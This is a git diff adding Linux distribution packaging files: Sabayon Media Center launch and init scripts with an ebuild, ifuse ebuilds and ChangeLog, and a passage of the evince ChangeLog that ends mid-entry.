4443354db9f8d44ec52c3b76ce46179f666e990fde9f0673d9eebb3bf02424a8 +AUX 1.1/init.d/sabayon-mce 835 RMD160 ef59ade2e9da6219bc31fcd41a0206d2c8d3f635 SHA1 fe42a50c7134e0d5ddf745942c248a7b3a326500 SHA256 bacbc7a42986da1d0de7c889a16d5c8acad39ba2c4f09df453682cf46a3936c8 +AUX 1.1/xsession/sabayon-mce.desktop 171 RMD160 52b8a3457819fa93ff3f14c9ec9ee13935602d41 SHA1 2eb008a480813179fd01a951046faa6f3fe4e6a4 SHA256 28c4770d694038dff9ac3c8d116239491d0ddc95a0deeaa0adf6e6ea0753bb8b +EBUILD sabayon-mce-1.1-r1.ebuild 1173 RMD160 f5459e2c75c1eba6c5665a1841c7984abf71bcad SHA1 066787eca9d6f68d25b3650f27114d9913079c66 SHA256 5ff266b3c0290390a8e9accc35539a643da34c1283eaef5de36b7d4fca2ddd8b diff --git a/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-session b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-session new file mode 100644 index 00000000..66d0ed03 --- /dev/null +++ b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-session @@ -0,0 +1,3 @@ +#!/bin/sh +# Start Xbox Media Center +exec /usr/bin/xbmc --standalone \ No newline at end of file diff --git a/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-start b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-start new file mode 100644 index 00000000..ff2f9ee2 --- /dev/null +++ b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-start @@ -0,0 +1,18 @@ +#!/bin/sh + +# setup +myxinitrc="/usr/bin/sabayon-mce-session" +myuser="sabayonmce" +mcepid="/var/sabayonmce/.mcepid" + +# make sure samba is started +[[ -f "/etc/init.d/samba" ]] && /etc/init.d/samba start &> /dev/null + +# Kill previous instance running since +# /etc/init.d/xdm does not support PIDFILE for +# custom DISPLAYMANAGER +[[ -f "$mcepid" ]] && kill $(cat $mcepid) &> /dev/null + +# spawn! +echo $$ > /var/run/sabayon-mce-start.pid +su - ${myuser} -c "source /etc/profile && /usr/bin/sabayon-mce-startx ${myxinitrc} &> /dev/null" & diff --git a/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-startx b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-startx new file mode 100644 index 00000000..21ca87e8 --- /dev/null +++ b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-startx @@ -0,0 +1,171 @@ +#!/bin/sh + +# $Xorg: startx.cpp,v 1.3 2000/08/17 19:54:29 cpqbld Exp $ +# +# This is just a sample implementation of a slightly less primitive +# interface than xinit. It looks for user .xinitrc and .xserverrc +# files, then system xinitrc and xserverrc files, else lets xinit choose +# its default. The system xinitrc should probably do things like check +# for .Xresources files and merge them in, startup up a window manager, +# and pop a clock and serveral xterms. +# +# Site administrators are STRONGLY urged to write nicer versions. +# +# $XFree86: xc/programs/xinit/startx.cpp,v 3.16tsi Exp $ + + +userclientrc="$1" +sysclientrc="$1" + +pidfilepath="$HOME/.mcepid" +userserverrc="$HOME/.xserverrc" +sysserverrc=/etc/X11/xinit/xserverrc +defaultclientargs="" +defaultserverargs="-nolisten tcp -br vt07" +clientargs="" +serverargs="" + +enable_xauth=1 + +if [ -f $userclientrc ]; then + defaultclientargs=$userclientrc +elif [ -f $sysclientrc ]; then + defaultclientargs=$sysclientrc +fi + +if [ x"$display" != x ]; then + export DISPLAY=$display +else + export DISPLAY=:0 +fi + + +if [ -f $userserverrc ]; then + defaultserverargs=$userserverrc +elif [ -f $sysserverrc ]; then + defaultserverargs=$sysserverrc +fi + +whoseargs="client" +while [ x"$1" != x ]; do + case "$1" in + /''*|\.*) if [ "$whoseargs" = "client" ]; then + if [ "x$clientargs" = x ]; then + clientargs="$1" + else + clientargs="$clientargs $1" + fi + else + if [ "x$serverargs" = x ]; then + serverargs="$1" + else + serverargs="$serverargs $1" + fi + fi ;; + --) whoseargs="server" ;; + *) if [ "$whoseargs" = "client" ]; then + if [ "x$clientargs" = x ]; then + clientargs="$defaultclientargs $1" + else + clientargs="$clientargs $1" + fi + else + case "$1" in + :[0-9]*) display="$1"; serverargs="$serverargs $1";; + *) serverargs="$serverargs $1" ;; + esac + fi ;; + esac + shift +done + +if [ x"$clientargs" = x ]; then + clientargs="$defaultclientargs" +fi +if [ x"$serverargs" = x ]; then + serverargs="$defaultserverargs" +fi + +if [ x"$enable_xauth" = x1 ] ; then + if [ x"$XAUTHORITY" = x ]; then + XAUTHORITY=$HOME/.Xauthority + export XAUTHORITY + fi + + removelist= + + # set up default Xauth info for this machine + case `uname` in + Linux*) + if [ -z "`hostname --version 2>&1 | grep GNU`" ]; then + hostname=`hostname -f` + else + hostname=`hostname` + fi + ;; + *) + hostname=`hostname` + ;; + esac + + authdisplay=${display:-:0} + + mcookie=`/usr/bin/mcookie` + + dummy=0 + + # create a file with auth information for the server. ':0' is a dummy. + xserverauthfile=$HOME/.serverauth.$$ + trap "rm -f $xserverauthfile" HUP INT QUIT ILL TRAP KILL BUS TERM + xauth -q -f $xserverauthfile << EOF +add :$dummy . $mcookie +EOF + serverargs=${serverargs}" -auth "${xserverauthfile} + + # now add the same credentials to the client authority file + # if '$displayname' already exists do not overwrite it as another + # server man need it. Add them to the '$xserverauthfile' instead. + for displayname in $authdisplay $hostname$authdisplay; do + authcookie=`xauth list "$displayname" \ + | sed -n "s/.*$displayname[[:space:]*].*[[:space:]*]//p"` 2>/dev/null; + if [ "z${authcookie}" = "z" ] ; then + xauth -q << EOF +add $displayname . $mcookie +EOF + removelist="$displayname $removelist" + else + dummy=$(($dummy+1)); + xauth -q -f $xserverauthfile << EOF +add :$dummy . $authcookie +EOF + fi + done +fi + +cleanup() { + + [ -n "$PID" ] && kill $PID > /dev/null 2>&1 + if [ x"$enable_xauth" = x1 ] ; then + if [ x"$removelist" != x ]; then + xauth remove $removelist + fi + if [ x"$xserverauthfile" != x ]; then + rm -f $xserverauthfile + fi + fi + +} + + +trap cleanup 0 + +xinit $clientargs -- $serverargs -deferglyphs 16 & + +PID=$! + +# Write pid to pid file +echo $PID > $pidfilepath + +wait $PID + +unset PID diff --git a/app-misc/sabayon-mce/files/1.1/init.d/sabayon-mce b/app-misc/sabayon-mce/files/1.1/init.d/sabayon-mce new file mode 100644 index 00000000..0dba609b --- /dev/null +++ b/app-misc/sabayon-mce/files/1.1/init.d/sabayon-mce @@ -0,0 +1,41 @@ +#!/sbin/runscript +# Copyright 2012 Sabayon + +depend() { + # In this way autologin settings are overwritten + after mtab sabayonlive + before xdm + need net +} + +start() { + + SABAYON_USER="sabayonmce" + source /sbin/rogentos-functions.sh + + if sabayon_is_mce; then + + ebegin "Sabayon Media Center mode enabled" + + # setup default .dmrc + echo "[Desktop]" > /var/sabayonmce/.dmrc + echo "Session=sabayon-mce" >> /var/sabayonmce/.dmrc + chown sabayonmce /var/sabayonmce/.dmrc + if [ -x "/usr/libexec/gdm-set-default-session" ]; then + # oh my fucking glorious god, this + # is AccountsService bullshit + # cross fingers + /usr/libexec/gdm-set-default-session sabayon-mce + fi + + sabayon_setup_autologin + + elif ! sabayon_is_live && ! sabayon_is_mce; then + ebegin "Sabayon Media Center mode disabled" + sabayon_disable_autologin + fi + + eend 0 + +} + diff --git a/app-misc/sabayon-mce/files/1.1/xsession/sabayon-mce.desktop b/app-misc/sabayon-mce/files/1.1/xsession/sabayon-mce.desktop new file mode 100644 index 00000000..46d11f10 --- /dev/null +++ b/app-misc/sabayon-mce/files/1.1/xsession/sabayon-mce.desktop @@ -0,0 +1,8 @@ +[Desktop Entry] +Encoding=UTF-8 +Name=Sabayon Media Center +Comment=This session loads Sabayon in Media Center mode +Exec=/usr/bin/sabayon-mce-session +Icon= +Type=Application + diff --git a/app-misc/sabayon-mce/sabayon-mce-1.1-r1.ebuild b/app-misc/sabayon-mce/sabayon-mce-1.1-r1.ebuild new file mode 100644 index 00000000..885bdad8 --- /dev/null +++ b/app-misc/sabayon-mce/sabayon-mce-1.1-r1.ebuild @@ -0,0 +1,56 @@ +# Copyright 2004-2012 Sabayon +# Distributed under the terms of the GNU General Public License v2 + +inherit eutils + +DESCRIPTION="Sabayon Linux Media Center Infrastructure" +HOMEPAGE="http://www.sabayon.org/" +SRC_URI="" + +RESTRICT="nomirror" +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 ~arm x86" +IUSE="" + +RDEPEND="media-tv/xbmc + >=app-misc/rogentoslive-tools-1.0" +DEPEND="" + +S="${WORKDIR}" + +src_unpack() { + cp "${FILESDIR}"/${PV}/* "${WORKDIR}"/ -Rp || die "cannot unpack" +} + +src_install () { + + cd "${WORKDIR}"/init.d + newinitd sabayon-mce sabayon-mce + + cd "${WORKDIR}"/bin + exeinto /usr/bin + doexe * + + cd "${WORKDIR}"/xsession + dodir /usr/share/xsessions + insinto /usr/share/xsessions + doins *.desktop + +} + +pkg_postinst() { + # create new user sabayonmce + local mygroups="users" + for mygroup in lp wheel uucp audio cdrom scanner video cdrw usb plugdev polkituser; do + if [[ -n $(egetent group "${mygroup}") ]]; then + mygroups+=",${mygroup}" + fi + done + enewuser sabayonmce -1 /bin/sh /var/sabayonmce "${mygroups}" + + elog "For those who are using <=Sabayon-5.1 as Media Center:" + elog "PLEASE update DISPLAYMANAGER= in /etc/conf.d/xdm" + elog "setting it to gdm or kdm." + +} diff --git a/app-pda/ifuse/ChangeLog b/app-pda/ifuse/ChangeLog new file mode 100644 index 00000000..f99c8833 --- /dev/null +++ b/app-pda/ifuse/ChangeLog @@ -0,0 +1,54 @@ +# ChangeLog for app-pda/ifuse +# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/app-pda/ifuse/ChangeLog,v 1.12 2013/05/11 22:05:54 ssuominen Exp $ + + 11 May 2013; Samuli Suominen ifuse-1.1.2.ebuild: + Use subslot operator for the libplist and libimobiledevice dependencies. + + 16 Aug 2012; Johannes Huber ifuse-1.1.2.ebuild: + Stable for x86, wrt bug #423155 + + 11 Aug 2012; Agostino Sarubbo ifuse-1.1.2.ebuild: + Stable for amd64, wrt bug #423155 + + 16 May 2012; Samuli Suominen + -files/ifuse-1.0.0-asneeded.patch, -ifuse-1.1.1.ebuild: + old + +*ifuse-1.1.2 (16 May 2012) + + 16 May 2012; Samuli Suominen +ifuse-1.1.2.ebuild: + Version bump. + + 03 May 2012; Jeff Horelick ifuse-1.1.1.ebuild: + dev-util/pkgconfig -> virtual/pkgconfig + +*ifuse-1.1.1 (29 Mar 2011) + + 29 Mar 2011; Samuli Suominen +ifuse-1.1.1.ebuild: + Version bump. + + 06 Jun 2010; Kacper Kowalik ifuse-1.0.0.ebuild, + +files/ifuse-1.0.0-asneeded.patch: + Fixing build with --as-needed wrt bug 322667. Thanks Diego for the report. + Removing Chainsaw from metadata (bug 322667) + + 31 May 2010; Thilo Bangert -ifuse-0.9.1.ebuild, + -ifuse-0.9.5.ebuild: + remove old versions + +*ifuse-1.0.0 (28 May 2010) + + 28 May 2010; Thilo Bangert +ifuse-1.0.0.ebuild: + version bump (#311089) + +*ifuse-0.9.5 (14 Dec 2009) + + 14 Dec 2009; +ifuse-0.9.5.ebuild: + Version bump. + +*ifuse-0.9.1 (08 Jun 2009) + + 08 Jun 2009; +ifuse-0.9.1.ebuild, +metadata.xml: + Initial commit, ebuild by me. Closes bug #241174. + diff --git a/app-pda/ifuse/Manifest b/app-pda/ifuse/Manifest new file mode 100644 index 00000000..46643b31 --- /dev/null +++ b/app-pda/ifuse/Manifest @@ -0,0 +1 @@ +DIST ifuse-1.1.2.tar.bz2 84645 SHA256 47835c8afb72588b3202fe0b206d7ea37a68663d9aa4eaf73f0a4bcb6215fc05 SHA512 eb2d2340265d9d51ba44b0f24665a648fe4c07dc379563f517b1e1994ff513cabc72a61d77cf13bcf24771ace3716aef55fa40db3c0045539a5b8bc3e6b487ae WHIRLPOOL eda8b8fff0e28688b4adb4b5457f1b1c590b0e16b6fd94470e507609193170441c60c3abf3518ae178023c3ba5393b3c185170f773bbf9b0dc2e6f937c3fe1c5 diff --git a/app-pda/ifuse/ifuse-1.1.2.ebuild b/app-pda/ifuse/ifuse-1.1.2.ebuild new file mode 100644 index 00000000..4ba1ab60 --- /dev/null +++ b/app-pda/ifuse/ifuse-1.1.2.ebuild @@ -0,0 +1,30 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-pda/ifuse/ifuse-1.1.2.ebuild,v 1.4 2013/05/11 22:05:54 ssuominen Exp $ + +EAPI=5 + +DESCRIPTION="Mount Apple iPhone/iPod Touch file systems for backup purposes" +HOMEPAGE="http://www.libimobiledevice.org/" +SRC_URI="http://www.libimobiledevice.org/downloads/${P}.tar.bz2" + +LICENSE="LGPL-2.1" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="" + +RDEPEND=">=app-pda/libimobiledevice-1.1.4:= + >=app-pda/libplist-1.8:= + >=sys-fs/fuse-2.7.0" +DEPEND="${RDEPEND} + virtual/pkgconfig" + +DOCS="AUTHORS NEWS README" + +pkg_postinst() { + ewarn "Only use this filesystem driver to create backups of your data." + ewarn "The music database is hashed, and attempting to add files will " + ewarn "cause the iPod/iPhone to consider your database unauthorised." + ewarn "It will respond by wiping all media files, requiring a restore " + ewarn "through iTunes. You have been warned." +} diff --git a/app-pda/ifuse/ifuse-9999.ebuild b/app-pda/ifuse/ifuse-9999.ebuild new file mode 100644 index 00000000..cf0d8abb --- /dev/null +++ b/app-pda/ifuse/ifuse-9999.ebuild @@ -0,0 +1,32 @@ +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="1" + +inherit git-2 autotools + +DESCRIPTION="fuse module for access to iphone and ipod touch without jailbreak" +HOMEPAGE="http://matt.colyer.name/projects/iphone-linux/" +EGIT_REPO_URI="http://github.com/mcolyer/ifuse.git" +EGIT_PROJECT="ifuse" + +LICENSE="BSD" +SLOT="0" +KEYWORDS="~x86" +IUSE="" + +DEPEND="app-pda/libimobiledevice + >=sys-fs/fuse-2.7.0 + dev-libs/glib:2" +RDEPEND="${DEPEND}" + +src_unpack() { + git_src_unpack + cd "${S}" + ./autogen.sh + eautoreconf +} + +src_install() { + emake DESTDIR="${D}" install || die "install failed" +} diff --git a/app-pda/ifuse/metadata.xml b/app-pda/ifuse/metadata.xml new file mode 100644 index 00000000..413973e1 --- /dev/null +++ b/app-pda/ifuse/metadata.xml @@ -0,0 +1,6 @@ + + + + pda + + diff --git a/app-text/evince-light/ChangeLog b/app-text/evince-light/ChangeLog new file mode 100644 index 00000000..6551d6e8 --- /dev/null +++ b/app-text/evince-light/ChangeLog @@ -0,0 +1,1046 @@ +# ChangeLog for app-text/evince +# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/app-text/evince/ChangeLog,v 1.250 2012/08/23 16:01:12 tetromino Exp $ + + 23 Aug 2012; Alexandre Rostovtsev + evince-2.32.0-r3.ebuild, evince-2.32.0-r4.ebuild, evince-3.2.1-r1.ebuild, + evince-3.4.0.ebuild: + gtk-doc-am dependency is not needed, m4/gtk-doc.m4 is in the tarball. Thanks + to Gilles Dartiguelongue for noticing. + + 15 Jul 2012; Raúl Porcel evince-2.32.0-r4.ebuild: + alpha/ia64/sparc stable wrt #410611 + + 16 Jun 2012; Samuli Suominen evince-2.32.0-r3.ebuild, + evince-2.32.0-r4.ebuild, evince-3.2.1-r1.ebuild, evince-3.4.0.ebuild, + metadata.xml: + Use global USE flag "postscript" instead of local USE flag "ps" for + PostScript support + + 08 Jun 2012; Pacho Ramos -evince-3.2.1.ebuild, + metadata.xml: + Drop maintainer from metadata as talked with him, bug #90641. Drop old. + + 24 May 2012; Samuli Suominen evince-2.32.0-r4.ebuild: + ppc stable wrt #410611 + + 10 May 2012; Alexandre Rostovtsev + evince-2.32.0-r3.ebuild, evince-2.32.0-r4.ebuild, evince-3.2.1.ebuild, + evince-3.2.1-r1.ebuild, evince-3.4.0.ebuild, metadata.xml: + Add "ps" USE flag (enabled by default) to allow disabling PostScript support + (bug #414973, thanks to nzqr). + +*evince-3.4.0 (05 May 2012) + + 05 May 2012; Alexandre Rostovtsev + +evince-3.4.0.ebuild, +files/evince-3.4.0-glib-gold.patch: + Version bump with small bugfixes and UI improvements. + + 04 May 2012; Jeff Horelick evince-2.32.0-r3.ebuild, + evince-2.32.0-r4.ebuild, evince-3.2.1.ebuild, evince-3.2.1-r1.ebuild: + dev-util/pkgconfig -> virtual/pkgconfig + + 30 Apr 2012; Justin Lecher evince-3.2.1-r1.ebuild, + +files/evince-3.2.1-glib-gold.patch: + Add fix for problems with glib-2.32 and gold linker, #414065 + + 29 Apr 2012; Markus Meier evince-2.32.0-r4.ebuild: + x86 stable, bug #410611 + + 25 Apr 2012; Markus Meier evince-2.32.0-r4.ebuild: + arm stable, bug #410611 + + 19 Apr 2012; Brent Baude evince-2.32.0-r4.ebuild: + Marking evince-2.32.0-r4 ppc64 stable for bug 410611 + + 18 Apr 2012; Agostino Sarubbo evince-2.32.0-r4.ebuild: + Stable for amd64, wrt bug #410611 + + 30 Jan 2012; Pacho Ramos evince-2.32.0-r4.ebuild: + Stop allowing to build gtk-doc files as they are useless for evince as + discussed in bug #398435 (by Nick Bowler). Thanks to Alexandre Rostovtsev for + looking to the issue. + +*evince-2.32.0-r4 (17 Dec 2011) + + 17 Dec 2011; Pacho Ramos +evince-2.32.0-r4.ebuild, + +files/evince-2.32.0-create_thumbnail_frame-null.patch, + +files/evince-2.32.0-desktop-categories.patch, -evince-2.32.0-r2.ebuild: + Fix menu categories, bug #393585 by Sergey S. Starikoff; apply another patch + from 2.32 branch to fix another crash. Remove old. + + 04 Dec 2011; Alexandre Rostovtsev evince-3.2.1.ebuild, + evince-3.2.1-r1.ebuild: + evince-3.x uses docbook-xml-dtd:4.3, not 4.1.2 (bug #392263, thanks to + markus.heuberger@gmx.net for reporting). + + 26 Nov 2011; Alexandre Rostovtsev evince-3.2.1.ebuild, + evince-3.2.1-r1.ebuild: + Fix the gnome-icon-theme configure sed (bug #391859, thanks to Florian Faber + for reporting). + +*evince-3.2.1-r1 (23 Nov 2011) + + 23 Nov 2011; Alexandre Rostovtsev + +evince-3.2.1-r1.ebuild, +files/evince-3.2.1-libgxps-0.2.patch: + Add patches to fix libgxps-0.2 and texlive-2011 support. + + 16 Nov 2011; Justin Lecher evince-2.32.0-r2.ebuild, + evince-2.32.0-r3.ebuild, evince-3.2.1.ebuild: + Corrected Slotting of media-libs/tiff + + 15 Nov 2011; Alexandre Rostovtsev + evince-2.32.0-r2.ebuild, evince-2.32.0-r3.ebuild: + QA: eautoreconf should be before gnome2_src_prepare. + +*evince-3.2.1 (03 Nov 2011) + + 03 Nov 2011; Alexandre Rostovtsev + -files/evince-2.91.5-fix-evinceview-introspection.patch, + -evince-3.0.2.ebuild, +evince-3.2.1.ebuild, metadata.xml: + Bump to 3.2.1 from the gnome overlay. Drop old. Add several missing + dependencies. Notable changes: UI fixes, stability improvements, XPS support. + + 17 Oct 2011; Justin Lecher +files/evince-2.32.0-gold.patch, + metadata.xml, evince-2.32.0-r3.ebuild: + Fix linking with gold.ld + + 05 Oct 2011; Kacper Kowalik evince-2.32.0-r3.ebuild: + ppc/ppc64 stable wrt #369909 + +*evince-3.0.2 (16 Aug 2011) + + 16 Aug 2011; Nirbheek Chauhan + +files/evince-2.91.5-fix-evinceview-introspection.patch, + +evince-3.0.2.ebuild: + Bump to 3.0.2, from gnome overlay for GNOME 3 + + 13 Aug 2011; Raúl Porcel evince-2.32.0-r3.ebuild: + alpha/ia64/sparc stable wrt #369909 + + 17 Jul 2011; Markus Meier evince-2.32.0-r3.ebuild: + arm stable, bug #369909 + + 14 Jul 2011; Thomas Kahle evince-2.32.0-r3.ebuild: + x86 stable per bug 369909 + + 01 Jul 2011; Markos Chandras evince-2.32.0-r3.ebuild: + Stable on amd64 wrt bug #278255 + + 12 Jun 2011; Pacho Ramos -evince-2.32.0-r1.ebuild, + evince-2.32.0-r3.ebuild: + Fix gconf-2.m4 missing again (bug #371272 by Francesco Turco). Remove old. + + 26 Apr 2011; Kacper Kowalik evince-2.32.0-r2.ebuild: + ppc64 stable wrt #363447 + + 23 Apr 2011; Raúl Porcel evince-2.32.0-r2.ebuild: + alpha/arm/ia64/sparc stable wrt #363447 + +*evince-2.32.0-r3 (21 Apr 2011) + + 21 Apr 2011; Pacho Ramos +evince-2.32.0-r3.ebuild, + +files/evince-2.32.0-stop-spinner.patch, + +files/evince-2.32.0-use-popup.patch: + Revision bump to include upstream patches reported by Arthur Taylor fixing + random minimizing (bug #364311) and useless wakeups (bug #364313) problems. + + 16 Apr 2011; Pacho Ramos evince-2.32.0-r2.ebuild: + gconf-2.m4 is needed for autoconf, bug #363781 by Jimmy C. Chau. + + 15 Apr 2011; Christoph Mende evince-2.32.0-r2.ebuild: + Stable on amd64 wrt bug #363447 + + 15 Apr 2011; Pawel Hajdan jr + evince-2.32.0-r2.ebuild: + x86 stable wrt security bug #363447 + + 13 Apr 2011; Brent Baude evince-2.32.0-r2.ebuild: + Marking evince-2.32.0-r2 ppc for bug 363447 + +*evince-2.32.0-r2 (13 Apr 2011) + + 13 Apr 2011; Pacho Ramos +evince-2.32.0-r2.ebuild, + +files/evince-2.32.0-dvi-security.patch, + +files/evince-2.32.0-libview-crash.patch, + +files/evince-2.32.0-update-poppler.patch: + Fix libview crash, upstream bug #630999; fix another security issue in the + dvi-backend; update poppler api with Arch patch (bug #354709 by Justin + Lecher, Ian Abbott and RafaÅ‚ MużyÅ‚o). + + 09 Apr 2011; Gilles Dartiguelongue -evince-2.30.3.ebuild, + -evince-2.32.0.ebuild: + Clean up old revisions. + + 22 Mar 2011; Brent Baude evince-2.32.0-r1.ebuild: + Marking evince-2.32.0-r1 ppc stable for bug 353436 + + 21 Mar 2011; Kacper Kowalik evince-2.32.0-r1.ebuild: + ppc64 stable wrt #353436 + + 16 Mar 2011; Nirbheek Chauhan evince-2.30.3.ebuild, + evince-2.32.0.ebuild, evince-2.32.0-r1.ebuild: + Fix slot-deps on gtk+ and other libs + + 12 Mar 2011; Raúl Porcel evince-2.32.0-r1.ebuild: + alpha/arm/ia64/sparc stable wrt #353436 + + 24 Feb 2011; Thomas Kahle evince-2.32.0-r1.ebuild: + x86 stable per bug 353436 + + 23 Feb 2011; Markos Chandras evince-2.32.0-r1.ebuild: + Stable on amd64 wrt bug #353436 + + 14 Feb 2011; Pacho Ramos evince-2.32.0.ebuild: + Add gnome-base/gsettings-desktop-schemas to RDEPEND as asked by Nirbheek. + +*evince-2.32.0-r1 (18 Jan 2011) + + 18 Jan 2011; Pacho Ramos -evince-2.26.2.ebuild, + -files/evince-2.27.4-smclient-configure.patch, -evince-2.28.2.ebuild, + +evince-2.32.0-r1.ebuild, +files/evince-2.32.0-dvi-CVEs.patch, + +files/evince-2.32.0-libdocument-segfault.patch, + +files/evince-2.32.0-pk-fonts.patch: + Revision bump including upstream patches for fixing security bugs in dvi + backend, libdocument segfaults and problem with pk fonts after applying + security patch. Remove old. + + 07 Dec 2010; Gilles Dartiguelongue evince-2.32.0.ebuild: + Re-drop hppa keyword, thanks to Mr_Bones for reminding. + +*evince-2.32.0 (17 Oct 2010) + + 17 Oct 2010; Pacho Ramos +evince-2.32.0.ebuild: + Version bump for Gnome 2.32: Make Shrink to Printable Area default option + for Page Scaling, preliminary support for adding new annotations, add + confirmation dialog on closing window when document has been modified, add + an action to edit menu to save current settings as default, add a new + sidebar page to show the list of annotations, finish DBus API for synctex + support, use cairo to draw search results, other bugfixes and translation + updates. + + 17 Oct 2010; Raúl Porcel evince-2.30.3.ebuild: + alpha/ia64/sparc stable wrt #324077 + + 14 Oct 2010; Markus Meier evince-2.30.3.ebuild: + arm stable, bug #324077 + + 09 Oct 2010; Samuli Suominen evince-2.30.3.ebuild: + ppc64 stable wrt #324077 + + 15 Sep 2010; Gilles Dartiguelongue evince-2.30.3.ebuild: + Make hicolor-icon-theme an alternative to gnome-icon-theme, bug #326855. + Drop libtool-1 compat. + + 11 Sep 2010; Joseph Jezak evince-2.30.3.ebuild: + Marked ppc for bug #324077. + + 19 Aug 2010; Gilles Dartiguelongue evince-2.30.3.ebuild: + Raise gtk-doc dependency according to configure. + + 18 Aug 2010; Markus Meier evince-2.28.2.ebuild: + arm stable, bug #314899 + + 14 Aug 2010; Raúl Porcel evince-2.28.2.ebuild: + alpha/ia64/sparc stable wrt #314899 + + 01 Aug 2010; Christian Faulhammer evince-2.30.3.ebuild: + x86 stable, bug 324077 + + 31 Jul 2010; Pacho Ramos evince-2.30.3.ebuild: + amd64 stable, bug 324077 + + 20 Jul 2010; Jeroen Roovers evince-2.26.2.ebuild, + evince-2.28.2.ebuild, evince-2.30.3.ebuild: + Drop HPPA keywording (bug #324511). + +*evince-2.30.3 (03 Jul 2010) + + 03 Jul 2010; Pacho Ramos -evince-2.30.2.ebuild, + +evince-2.30.3.ebuild: + Version bump: Fix cbz comics (bug #326515 by Dirk Best). Remove old + testing. + +*evince-2.30.2 (23 Jun 2010) + + 23 Jun 2010; Pacho Ramos -evince-2.30.1-r1.ebuild, + +evince-2.30.2.ebuild: + Version bump with updated translations and fixes, remove old. + +*evince-2.30.1-r1 (13 Jun 2010) + + 13 Jun 2010; Pacho Ramos +evince-2.30.1-r1.ebuild: + Add new version for Gnome 2.30. + + 04 Jun 2010; Markus Meier evince-2.28.2.ebuild: + x86 stable, bug #314899 + + 22 May 2010; Raúl Porcel evince-2.28.2.ebuild: + Add ~arm + + 03 May 2010; Olivier Crête evince-2.28.2.ebuild: + amd64 stable, bug #314899 + + 24 Feb 2010; Gilles Dartiguelongue -evince-2.24.2.ebuild, + -evince-2.28.1.ebuild: + Clean up old revisions. + + 10 Feb 2010; Samuli Suominen evince-2.24.2.ebuild, + evince-2.26.2.ebuild, evince-2.28.1.ebuild, evince-2.28.2.ebuild: + Update poppler dependency for #304349 + + 17 Jan 2010; Jeroen Roovers evince-2.26.2.ebuild: + Stable for HPPA (bug #281427). + + 15 Jan 2010; Jonathan Callen evince-2.28.2.ebuild: + Add prefix keywords + +*evince-2.28.2 (18 Dec 2009) + + 18 Dec 2009; Gilles Dartiguelongue +evince-2.28.2.ebuild: + Version bump. Rendering fixes, documentation and translation updates. + + 03 Dec 2009; Brent Baude evince-2.26.2.ebuild: + Marking evince-2.26.2 ppc64 stable for bug 281427 + + 28 Nov 2009; Raúl Porcel evince-2.26.2.ebuild: + alpha/ia64/sparc stable wrt #281427 + + 01 Nov 2009; Nirbheek Chauhan +files/gconf-2.m4: + Fix bug 291339 -- need gconf-2.m4 for autoconf + + 29 Oct 2009; Gilles Dartiguelongue -evince-2.26.1.ebuild, + +files/evince-2.27.4-smclient-configure.patch, +evince-2.28.1.ebuild, + metadata.xml: + New version for GNOME 2.28. Clean up old revision. + +*evince-2.28.1 (29 Oct 2009) + + 29 Oct 2009; Gilles Dartiguelongue -evince-2.26.1.ebuild, + +files/evince-2.27.4-smclient-configure.patch, +evince-2.28.1.ebuild, + metadata.xml: + New version for GNOME 2.28. Clean up old revision. + + 24 Oct 2009; nixnut evince-2.26.2.ebuild: + ppc stable #281427 + + 16 Oct 2009; Markus Meier evince-2.26.2.ebuild: + x86 stable, bug #281427 + + 08 Oct 2009; Mart Raudsepp Manifest: + Fix Manifest + + 08 Oct 2009; Olivier Crête evince-2.26.2.ebuild: + Stable on amd64, bug #281427 + +*evince-2.26.2 (18 May 2009) + + 18 May 2009; Gilles Dartiguelongue evince-2.24.2.ebuild, + +evince-2.26.2.ebuild: + Bump to 2.26.2. Bug fixes and translation updates. + +*evince-2.26.1 (02 May 2009) + + 02 May 2009; Gilles Dartiguelongue + -files/evince-0.6.1-dbus-switch.patch, + -files/evince-2.22.2-t1lib-fonts.patch, -evince-2.22.2-r1.ebuild, + +evince-2.26.1.ebuild: + New version for GNOME 2.26. Load of small improvments here and there. + Clean up old revisions. + + 27 Apr 2009; Jeroen Roovers evince-2.24.2: + Stable for HPPA (bug #260063). + + 12 Apr 2009; Friedrich Oslage evince-2.24.2.ebuild: + Stable on sparc, bug #260063 + + 10 Apr 2009; Peter Alfredsen + evince-2.22.2-r1.ebuild: + Updating app-text/evince for virtual/poppler-glib update; cairo is the + superior backend, always enable it anywhere it can be used. + + 30 Mar 2009; Peter Alfredsen -evince-2.20.1.ebuild, + evince-2.22.2-r1.ebuild, evince-2.24.2.ebuild: + Update dependencies w.r.t. bug 264230, fully-split-out poppler transition. + Also punt evince-2.20.1, since no version of poppler in-tree meets the + requirements of evince-2.24.2.ebuild: + alpha/ia64 stable wrt #260063 + + 15 Mar 2009; Markus Meier evince-2.24.2.ebuild: + x86 stable, bug #260063 + + 12 Mar 2009; Daniel Gryniewicz evince-2.24.2.ebuild: + poppler-bindings needs cairo too; bug #262111 + + 11 Mar 2009; Daniel Gryniewicz evince-2.24.2.ebuild: + Marked stable on amd64 + + 07 Mar 2009; Thomas Anderson + evince-2.20.1.ebuild, evince-2.22.2-r1.ebuild, evince-2.24.2.ebuild: + Transition to eapi 2 use deps + + 06 Mar 2009; Brent Baude evince-2.24.2.ebuild: + Marking evince-2.24.2 ppc stable for bug 260063 + + 05 Mar 2009; Brent Baude evince-2.24.2.ebuild: + Marking evince-2.24.2 ppc64 stable for bug 260063 + + 05 Mar 2009; Gilles Dartiguelongue -evince-2.20.2.ebuild, + -evince-2.24.0.ebuild, -evince-2.24.1.ebuild: + Clean up old revisions. + +*evince-2.24.2 (24 Nov 2008) + + 24 Nov 2008; Gilles Dartiguelongue 